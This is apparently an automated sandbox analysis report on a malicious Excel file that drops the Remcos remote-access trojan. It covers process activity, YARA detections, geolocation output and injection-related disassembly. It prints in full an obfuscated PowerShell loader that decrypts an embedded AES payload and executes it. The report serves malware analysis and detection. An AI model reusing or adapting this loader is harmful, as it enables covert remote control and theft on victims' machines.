                      Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 31 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f [TRUNCATED]
                      Data Ascii: { "geoplugin_request":"8.46.123.33", "geoplugin_status":200, "geoplugin_delay":"1ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7123", "geoplugin_longitude":"-74.0068", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}


                      Statistics

                      CPU Usage

                      Click to jump to process

                      Memory Usage

                      Click to jump to process

                      High Level Behavior Distribution

                      Click to dive into process behavior distribution

                      Behavior

                      Click to jump to process

                      System Behavior

                      General

                      Target ID:0
                      Start time:09:21:54
                      Start date:29/07/2024
                      Path:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      Wow64 process (32bit):false
                      Commandline:"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
                      Imagebase:0x13f7d0000
                      File size:28'253'536 bytes
                      MD5 hash:D53B85E21886D2AF9815C377537BCAC3
                      Has elevated privileges:true
                      Has administrator privileges:true
                      Programmed in:C, C++ or other language
                      Reputation:high
                      Has exited:false

                      General

                      Target ID:4
                      Start time:09:22:16
                      Start date:29/07/2024
                      Path:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                      Wow64 process (32bit):false
                      Commandline:"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
                      Imagebase:0x13f0c0000
                      File size:1'423'704 bytes
                      MD5 hash:9EE74859D22DAE61F1750B3A1BACB6F5
                      Has elevated privileges:true
                      Has administrator privileges:true
                      Programmed in:C, C++ or other language
                      Reputation:high
                      Has exited:true

                      General

                      Target ID:7
                      Start time:09:22:24
                      Start date:29/07/2024
                      Path:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                      Wow64 process (32bit):true
                      Commandline:"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
                      Imagebase:0x400000
                      File size:543'304 bytes
                      MD5 hash:A87236E214F6D42A65F5DEDAC816AEC8
                      Has elevated privileges:true
                      Has administrator privileges:true
                      Programmed in:C, C++ or other language
                      Reputation:high
                      Has exited:true

                      General

                      Target ID:9
                      Start time:09:22:26
                      Start date:29/07/2024
                      Path:C:\Windows\SysWOW64\wscript.exe
                      Wow64 process (32bit):true
                      Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\weseethesimplethingsalwaystog.vBS"
                      Imagebase:0x790000
                      File size:141'824 bytes
                      MD5 hash:979D74799EA6C8B8167869A68DF5204A
                      Has elevated privileges:true
                      Has administrator privileges:true
                      Programmed in:C, C++ or other language
                      Reputation:high
                      Has exited:true

                      General

                      Target ID:10
                      Start time:09:22:26
                      Start date:29/07/2024
                      Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      Wow64 process (32bit):true
                      Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87355924191917571657221755980918CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIuNSTmXUI0HgFw3fdM1ERT/tun0uBDlOiQyHJlmXQIhnecjctgQ65PlKspfuRkCDRjEPH4Ihki2Ib6LDmK9phm3xXkeNi+fcKsxPwgqQcHOTbxmi5gehOXzdiLKULSMHsRGtrAT4hLirjCliJFHhPPoPAD8WrrNJOauPIbQ8LjKCbYXN79XvsHb07Yd11FEz/xBrM4eb0d6oDjgTxHYLrzF6J4EfbA9GRGmdc4tkwy2zlMYr0bFEZ+TXcIkX6MoawoDSDQCJz8W7GBp0wX7cDBpIBhIxab4r+prVGaCCG+0+3uEp7n/keTDVANuLUjK7WM0vFCbyd/wVRtzF4youZwmOc3oaCF/JrShl+say08x0QppsCNvWz86ojjUOePGJsv67aspbPc+MT7ExHDG3Nzcev9OvNfYyq2MjA+OyHp/F7vijb0t7gbDYnwMe4HIfBgRkZkghh0vLgZbfSOZQmmNYaTrwwNG1StWUKeon1TmwO+GG02RY5xYL9dVsfOHoro3YjN0N+knyfSiTSLd8VpRGssVO3vdtrX83PC61AEKuwGmOKozlk3nzEbypC+P8jH/rC5lWjA5zr77TSv/3mL20F7OS9KdMcYBjEGjeQBi2Go74vJ2WeLC1Ow7MmkVoHZMjPL4LBdcCDe3+RcMbiLQBYCalcm5AUNss21ha2+mb9sY0foP8Ez4UEfMsUX1rlQ2L4c8NimJOaGijgqysi/8/4pvNnD/sDhqf9Jv/RJy+DJdtvGCjd3eg+777E0i3Zy2WWu4edO5corcrRaO0QH5KUcez0fY+pfnv3ycP5Njlg3ee0PHZw6sMPAER25mwo6SdwnN/dBC6KJXCNuDMBO0NSgE1NaaMlVsvxYB09SoTLfOQfkI1HTVgxNTWGoMCwSo9fQJZ6v2G6lGAw0fSjKOC9ekynuz2I6aDEVQhjeBtb0xHr2FEqYELQ/pZpkSkEkGIt2Hk3LvIWcMIenJWqnjfen61s15Yu2EdgjIt9Mn3N8vSlm2edKYHvSDcmrf7Gu/P8wb6OKnXNHosYcBbbFwXBRtzLtR07JaIq87PiGQKXkLtiP+St5jLN1RKHuViNAKANGwfM28rb84mkuqGiXByiubZnTAtp97cvhahwn4PXpi1Kez7/kbaDDKXCvVKN3TK4hLXC8Ot+rpc8CCzkwpZACGoSzxk3WPrLHnyjTQ6zn0qE6SrOQCIe3FfGGvicERREowxQvbpIw9uSzA17OsC636M5zXSToQgHiyAkm/dDk+wHfmDJGIsVE2wRGDtoq0Qt+tGgtB9Bi3fKJGvPBCuWm1jPuHv/LpyDiDNqEldTLSKZiQIIVm6lT/bYy7Al9K4rBqB6iJEpuxyHndJU46lXfgraSgD2XgA6ahTGriaCII6EAxgJSunErp5iVOk6tfQCtMutwbB720ZK5BpUkQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
                      Imagebase:0xd70000
                      File size:427'008 bytes
                      MD5 hash:EB32C070E658937AA9FA9F3AE629B2B8
                      Has elevated privileges:true
                      Has administrator privileges:true
                      Programmed in:C, C++ or other language
                      Yara matches:
                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                      • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                      • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000A.00000002.456553526.00000000039A0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                      • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000A.00000002.456553526.00000000039A0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                      • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000A.00000002.456553526.00000000039A0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                      Reputation:high
                      Has exited:true

                      General

                      Target ID:12
                      Start time:09:22:32
                      Start date:29/07/2024
                      Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      Wow64 process (32bit):true
                      Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                      Imagebase:0xba0000
                      File size:64'704 bytes
                      MD5 hash:8FE9545E9F72E460723F484C304314AD
                      Has elevated privileges:true
                      Has administrator privileges:true
                      Programmed in:C, C++ or other language
                      Yara matches:
                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000C.00000002.1049251822.000000000053C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000C.00000002.1049706857.000000000226E000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security
                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                      • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                      • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                      • Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                      • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000C.00000002.1049251822.00000000004E5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000C.00000002.1049251822.0000000000501000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                      Reputation:moderate
                      Has exited:false

                      Disassembly

                      Code Analysis

                      Call Graph

                      • Entrypoint
                      • Decryption Function
                      • Executed
                      • Not Executed
                      • Show Help
                      callgraph 1 Error: Graph is empty

                      Module: Sheet1

                      Declaration
                      LineContent
                      1

                      Attribute VB_Name = "Sheet1"

                      2

                      Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                      3

                      Attribute VB_GlobalNameSpace = False

                      4

                      Attribute VB_Creatable = False

                      5

                      Attribute VB_PredeclaredId = True

                      6

                      Attribute VB_Exposed = True

                      7

                      Attribute VB_TemplateDerived = False

                      8

                      Attribute VB_Customizable = True

                      Module: Sheet2

                      Declaration
                      LineContent
                      1

                      Attribute VB_Name = "Sheet2"

                      2

                      Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                      3

                      Attribute VB_GlobalNameSpace = False

                      4

                      Attribute VB_Creatable = False

                      5

                      Attribute VB_PredeclaredId = True

                      6

                      Attribute VB_Exposed = True

                      7

                      Attribute VB_TemplateDerived = False

                      8

                      Attribute VB_Customizable = True

                      Module: Sheet3

                      Declaration
                      LineContent
                      1

                      Attribute VB_Name = "Sheet3"

                      2

                      Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                      3

                      Attribute VB_GlobalNameSpace = False

                      4

                      Attribute VB_Creatable = False

                      5

                      Attribute VB_PredeclaredId = True

                      6

                      Attribute VB_Exposed = True

                      7

                      Attribute VB_TemplateDerived = False

                      8

                      Attribute VB_Customizable = True

                      Module: ThisWorkbook

                      Declaration
                      LineContent
                      1

                      Attribute VB_Name = "ThisWorkbook"

                      2

                      Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"

                      3

                      Attribute VB_GlobalNameSpace = False

                      4

                      Attribute VB_Creatable = False

                      5

                      Attribute VB_PredeclaredId = True

                      6

                      Attribute VB_Exposed = True

                      7

                      Attribute VB_TemplateDerived = False

                      8

                      Attribute VB_Customizable = True

                      Reset < >

                        Execution Graph

                        Execution Coverage:5.4%
                        Dynamic/Decrypted Code Coverage:0%
                        Signature Coverage:12.9%
                        Total number of Nodes:31
                        Total number of Limit Nodes:2
                        execution_graph 13142 2e7d28 13143 2e7d4f 13142->13143 13147 2e968c 13143->13147 13156 2ea100 13143->13156 13144 2e7e5a 13148 2e96cb 13147->13148 13149 2ea189 13148->13149 13152 2e8e68 WriteProcessMemory 13148->13152 13165 2e9200 13148->13165 13169 2e8b20 13148->13169 13173 2e8b18 13148->13173 13177 2e8a28 13148->13177 13181 2e8a30 13148->13181 13149->13144 13152->13148 13158 2e97a3 13156->13158 13157 2ea189 13157->13144 13158->13157 13159 2e8e68 WriteProcessMemory 13158->13159 13160 2e8a28 ResumeThread 13158->13160 13161 2e8a30 ResumeThread 13158->13161 13162 2e9200 CreateProcessA 13158->13162 13163 2e8b18 Wow64SetThreadContext 13158->13163 13164 2e8b20 Wow64SetThreadContext 13158->13164 13159->13158 13160->13158 13161->13158 13162->13158 13163->13158 13164->13158 13166 2e9287 CreateProcessA 13165->13166 13168 2e94e5 13166->13168 13168->13168 13170 2e8b69 Wow64SetThreadContext 13169->13170 13172 2e8be7 13170->13172 13172->13148 13174 2e8b21 Wow64SetThreadContext 13173->13174 13176 2e8be7 13174->13176 13176->13148 13178 2e8a74 ResumeThread 13177->13178 13180 2e8ac6 13178->13180 13180->13148 13182 2e8a74 ResumeThread 13181->13182 13184 2e8ac6 13182->13184 13184->13148

                        Executed Functions

                        Function 002E968C Relevance: 1.9, Strings: 1, Instructions: 658COMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 299 2e968c-2e96c9 300 2e96cb 299->300 301 2e96d0-2e97a2 299->301 300->301 302 2e97a3-2e9886 call 2e9200 301->302 308 2e98af-2e98d8 302->308 309 2e9888-2e98a4 302->309 312 2e98df-2e9924 308->312 313 2e98da 308->313 309->308 317 2e992b-2e9957 312->317 318 2e9926 312->318 313->312 320 2e9959-2e9994 317->320 321 2e99c1-2e99fb 317->321 318->317 326 2e99bd-2e99bf 320->326 327 2e9996-2e99b2 320->327 324 2e99fd-2e9a19 321->324 325 2e9a24-2e9a2e 321->325 324->325 328 2e9a35-2e9a4d 325->328 329 2e9a30 325->329 326->325 327->326 331 2e9a4f 328->331 332 2e9a54-2e9a90 328->332 329->328 331->332 337 2e9ab9-2e9abf 332->337 338 2e9a92-2e9aae 332->338 339 2e9af1-2e9af3 337->339 340 2e9ac1-2e9aef 337->340 338->337 341 2e9af9-2e9b0d 339->341 340->341 344 2e9b0f-2e9b2b 341->344 345 2e9b36-2e9b40 341->345 344->345 346 2e9b47-2e9b6b 345->346 347 2e9b42 345->347 352 2e9b6d 346->352 353 2e9b72-2e9bd5 346->353 347->346 352->353 356 2e9bfe-2e9c3f call 2e8e68 353->356 357 2e9bd7-2e9bf3 353->357 360 2e9c68-2e9c72 356->360 361 2e9c41-2e9c5d 356->361 357->356 362 2e9c79-2e9c86 360->362 363 2e9c74 360->363 361->360 366 2e9c8d-2e9cab 362->366 367 2e9c88 362->367 363->362 370 2e9cad 366->370 371 2e9cb2-2e9cbe 366->371 367->366 370->371 372 2e9e7e-2e9e9a 371->372 373 2e9cc3-2e9cce 372->373 374 2e9ea0-2e9ec4 372->374 375 2e9cd5-2e9cfc 373->375 376 2e9cd0 373->376 378 2e9ecb-2e9f09 call 2e8e68 374->378 379 2e9ec6 374->379 381 2e9cfe 375->381 382 2e9d03-2e9d2a 375->382 376->375 384 2e9f0b-2e9f27 378->384 385 2e9f32-2e9f3c 378->385 379->378 381->382 387 2e9d2c 382->387 388 2e9d31-2e9d68 382->388 384->385 389 2e9f3e 385->389 390 2e9f43-2e9f70 385->390 387->388 394 2e9d6e-2e9d7c 388->394 395 2e9e4f-2e9e59 388->395 389->390 396 2e9f7a-2e9f83 390->396 397 2e9f72-2e9f79 390->397 399 2e9d7e 394->399 400 2e9d83-2e9d8a 394->400 403 2e9e5b 395->403 404 2e9e60-2e9e71 395->404 401 2e9f8a-2e9f9a 396->401 402 2e9f85 396->402 397->396 399->400 405 2e9d8c 400->405 406 2e9d91-2e9dd9 400->406 407 2e9f9c 401->407 408 2e9fa1-2e9fd2 401->408 402->401 403->404 409 2e9e78 404->409 410 2e9e73 404->410 405->406 418 2e9ddb 406->418 419 2e9de0-2e9e03 call 2e8e68 406->419 407->408 413 2ea03c-2ea076 408->413 414 2e9fd4-2e9fea 408->414 409->372 410->409 422 2ea09f-2ea0ae 413->422 423 2ea078-2ea094 413->423 442 2e9fed call 2e8b18 414->442 443 2e9fed call 2e8b20 414->443 416 2e9fef-2ea00f 420 2ea038-2ea03a 416->420 421 2ea011-2ea02d 416->421 418->419 424 2e9e05-2e9e25 419->424 420->422 421->420 447 2ea0b1 call 2e8a28 422->447 448 2ea0b1 call 2e8a30 422->448 423->422 425 2e9e4e 424->425 426 2e9e27-2e9e43 424->426 425->395 426->425 428 2ea0b3-2ea0d3 430 2ea0fc-2ea164 428->430 431 2ea0d5-2ea0f1 428->431 437 2ea16b-2ea183 430->437 438 2ea166 430->438 431->430 437->302 440 2ea189-2ea191 437->440 438->437 442->416 443->416 447->428 448->428
                        Strings
                        Memory Dump Source
                        • Source File: 0000000A.00000002.455021029.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_2e0000_powershell.jbxd
                        Similarity
                        • API ID:
                        • String ID: 8)
                        • API String ID: 0-1835277788
                        • Opcode ID: d484fbb444b384b2b355197d8bfa4581cda08e020c8697bc702a42fedbf521e4
                        • Instruction ID: 858a96d817b9658482f1e47e98962fe2daa5d85cee8060b5abd05ad83d536309
                        • Opcode Fuzzy Hash: d484fbb444b384b2b355197d8bfa4581cda08e020c8697bc702a42fedbf521e4
                        • Instruction Fuzzy Hash: A562E174E102288FDB64DF65C894BDDBBB2AF89304F5484EAD409A7291DB306EC5CF50
                        Function 002E9200 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 323processCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 0 2e9200-2e9299 2 2e929b-2e92b2 0->2 3 2e92e2-2e930a 0->3 2->3 8 2e92b4-2e92b9 2->8 6 2e930c-2e9320 3->6 7 2e9350-2e93a6 3->7 6->7 15 2e9322-2e9327 6->15 17 2e93ec-2e94e3 CreateProcessA 7->17 18 2e93a8-2e93bc 7->18 9 2e92dc-2e92df 8->9 10 2e92bb-2e92c5 8->10 9->3 12 2e92c9-2e92d8 10->12 13 2e92c7 10->13 12->12 16 2e92da 12->16 13->12 19 2e934a-2e934d 15->19 20 2e9329-2e9333 15->20 16->9 36 2e94ec-2e95d1 17->36 37 2e94e5-2e94eb 17->37 18->17 25 2e93be-2e93c3 18->25 19->7 22 2e9337-2e9346 20->22 23 2e9335 20->23 22->22 26 2e9348 22->26 23->22 27 2e93e6-2e93e9 25->27 28 2e93c5-2e93cf 25->28 26->19 27->17 30 2e93d3-2e93e2 28->30 31 2e93d1 28->31 30->30 32 2e93e4 30->32 31->30 32->27 49 2e95d3-2e95d7 36->49 50 2e95e1-2e95e5 36->50 37->36 49->50 51 2e95d9 49->51 52 2e95e7-2e95eb 50->52 53 2e95f5-2e95f9 50->53 51->50 52->53 56 2e95ed 52->56 54 2e95fb-2e95ff 53->54 55 2e9609-2e960d 53->55 54->55 57 2e9601 54->57 58 2e960f-2e9638 55->58 59 2e9643-2e964e 55->59 56->53 57->55 58->59 63 2e964f 59->63 63->63
                        APIs
                        • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 002E94C7
                        Strings
                        Memory Dump Source
                        • Source File: 0000000A.00000002.455021029.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_2e0000_powershell.jbxd
                        Similarity
                        • API ID: CreateProcess
                        • String ID: 8)$8)$8)
                        • API String ID: 963392458-4140935849
                        • Opcode ID: eacd29aa06913efd13f09f654b7e5dcf0aaf256835999ac82d3bd8be838e07b6
                        • Instruction ID: 4e0c5b73ec3e46c19c89b95550f0b2dfbcae1d326b26712f5459ee39e8702d64
                        • Opcode Fuzzy Hash: eacd29aa06913efd13f09f654b7e5dcf0aaf256835999ac82d3bd8be838e07b6
                        • Instruction Fuzzy Hash: 81C13870D402598FDF24CFA5C885BEDBBB1BF49300F0091AAE919B7280DB749A95CF91
                        Function 005552B4 Relevance: 5.1, Strings: 3, Instructions: 1334COMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 64 5552b4-5552b7 65 5552bd-5552c5 64->65 66 5552b9-5552bb 64->66 67 5552c7-5552cd 65->67 68 5552dd-5552e1 65->68 66->65 71 5552d1-5552dc 67->71 72 5552cf 67->72 69 5552e2-5552e8 68->69 70 55540c-555416 68->70 73 5552fa-5552fe 69->73 74 5552ea-5552eb 69->74 75 555424-55542a 70->75 76 555418-555421 70->76 71->68 72->68 82 555464-5554b3 73->82 83 555304-555309 73->83 78 5552ed-5552f7 74->78 79 55532b 74->79 80 555430-55543c 75->80 81 55542c-55542e 75->81 78->73 84 55532d-55532f 79->84 85 55543e-555461 80->85 81->85 95 5556b6-5556c3 82->95 96 5554b9-5554be 82->96 86 555321-555329 83->86 87 55530b-555311 83->87 84->70 88 555335-555339 84->88 86->84 92 555315-55531f 87->92 93 555313 87->93 88->70 94 55533f-555343 88->94 92->86 93->86 94->70 98 555349-55536f 94->98 99 5554d6-5554da 96->99 100 5554c0-5554c6 96->100 98->70 121 555375-555379 98->121 104 5554e0-5554e2 99->104 105 55565f-555669 99->105 102 5554c8 100->102 103 5554ca-5554d4 100->103 102->99 103->99 109 5554e4-5554f0 104->109 110 5554f2 104->110 111 555675-55567b 105->111 112 55566b-555672 105->112 114 5554f4-5554f6 109->114 110->114 115 555681-55568d 111->115 116 55567d-55567f 111->116 114->105 119 5554fc-55551b 114->119 117 55568f-5556b3 115->117 116->117 133 55551d-555529 119->133 134 55552b 119->134 124 55539c 121->124 125 55537b-555384 121->125 126 55539f-5553ac 124->126 127 555386-555389 125->127 128 55538b-555398 125->128 132 5553b2-555409 126->132 131 55539a 127->131 128->131 131->126 137 55552d-55552f 133->137 134->137 137->105 138 555535-555539 137->138 138->105 139 55553f-555543 138->139 140 555545-555554 139->140 141 555556 139->141 142 555558-55555a 140->142 141->142 142->105 143 555560-555564 142->143 143->105 144 55556a-555589 143->144 147 5555a1-5555ac 144->147 148 55558b-555591 144->148 151 5555ae-5555b1 147->151 152 5555bb-5555d7 147->152 149 555595-555597 148->149 150 555593 148->150 149->147 150->147 151->152 153 5555f4-5555fe 152->153 154 5555d9-5555ec 152->154 155 555600 153->155 156 555602-555650 153->156 154->153 157 555655-55565c 155->157 156->157
                        Strings
                        Memory Dump Source
                        • Source File: 0000000A.00000002.455193896.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_550000_powershell.jbxd
                        Similarity
                        • API ID:
                        • String ID: L4#p$L4#p$L4#p
                        • API String ID: 0-1310181111
                        • Opcode ID: 45c80ea659fa6c36f172d49aa33930be7922a3ad360ef4b778a737d584362e5a
                        • Instruction ID: 15102a8829a3089f9b4059646d193377ebfdcabb5f59bed19988465da6f4834f
                        • Opcode Fuzzy Hash: 45c80ea659fa6c36f172d49aa33930be7922a3ad360ef4b778a737d584362e5a
                        • Instruction Fuzzy Hash: 56C10230700644DFDF159E64C874BAA7FA2BF81312F64846BED058B292EB70DD99CB91
                        Function 00553A08 Relevance: 3.0, Strings: 2, Instructions: 458COMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 164 553a08-553a2b 165 553a31-553a36 164->165 166 553be9-553c35 164->166 167 553a4e-553a52 165->167 168 553a38-553a3e 165->168 176 553dc1-553e0b 166->176 177 553c3b-553c40 166->177 169 553b90-553b9a 167->169 170 553a58-553a5a 167->170 172 553a40 168->172 173 553a42-553a4c 168->173 178 553b9c-553ba5 169->178 179 553ba8-553bae 169->179 174 553a5c-553a68 170->174 175 553a6a 170->175 172->167 173->167 181 553a6c-553a6e 174->181 175->181 193 553e11-553e16 176->193 194 553f62-553fa6 176->194 182 553c42-553c48 177->182 183 553c58-553c5c 177->183 184 553bb4-553bc0 179->184 185 553bb0-553bb2 179->185 181->169 187 553a74-553a78 181->187 188 553c4c-553c56 182->188 189 553c4a 182->189 191 553d71-553d7b 183->191 192 553c62-553c64 183->192 190 553bc2-553be6 184->190 185->190 195 553a98 187->195 196 553a7a-553a96 187->196 188->183 189->183 197 553d7d-553d86 191->197 198 553d89-553d8f 191->198 200 553c74 192->200 201 553c66-553c72 192->201 204 553e2e-553e32 193->204 205 553e18-553e1e 193->205 251 553fb4-553fcc 194->251 252 553fa8-553faa 194->252 209 553a9a-553a9c 195->209 196->209 206 553d95-553da1 198->206 207 553d91-553d93 198->207 202 553c76-553c78 200->202 201->202 202->191 211 553c7e-553c9d 202->211 217 553f0f-553f19 204->217 218 553e38-553e3a 204->218 213 553e20 205->213 214 553e22-553e2c 205->214 216 553da3-553dbe 206->216 207->216 209->169 210 553aa2-553aa6 209->210 219 553ab9 210->219 220 553aa8-553ab7 210->220 249 553cad 211->249 250 553c9f-553cab 211->250 213->204 214->204 222 553f27-553f2d 217->222 223 553f1b-553f24 217->223 225 553e3c-553e48 218->225 226 553e4a 218->226 232 553abb-553abd 219->232 220->232 233 553f33-553f3f 222->233 234 553f2f-553f31 222->234 227 553e4c-553e4e 225->227 226->227 227->217 236 553e54-553e58 227->236 232->169 237 553ac3-553ac5 232->237 238 553f41-553f5f 233->238 234->238 239 553e78 236->239 240 553e5a-553e76 236->240 244 553ac7-553acd 237->244 245 553adf-553af9 237->245 253 553e7a-553e7c 239->253 240->253 247 553ad1-553add 244->247 248 553acf 244->248 263 553b08-553b1e 245->263 264 553afb-553afe 245->264 247->245 248->245 256 553caf-553cb1 249->256 250->256 267 553fd0-553fd2 251->267 268 553fce 251->268 252->251 253->217 257 553e82-553e85 253->257 256->191 261 553cb7-553cd6 256->261 266 553e8f-553e95 257->266 281 553cee-553d0d 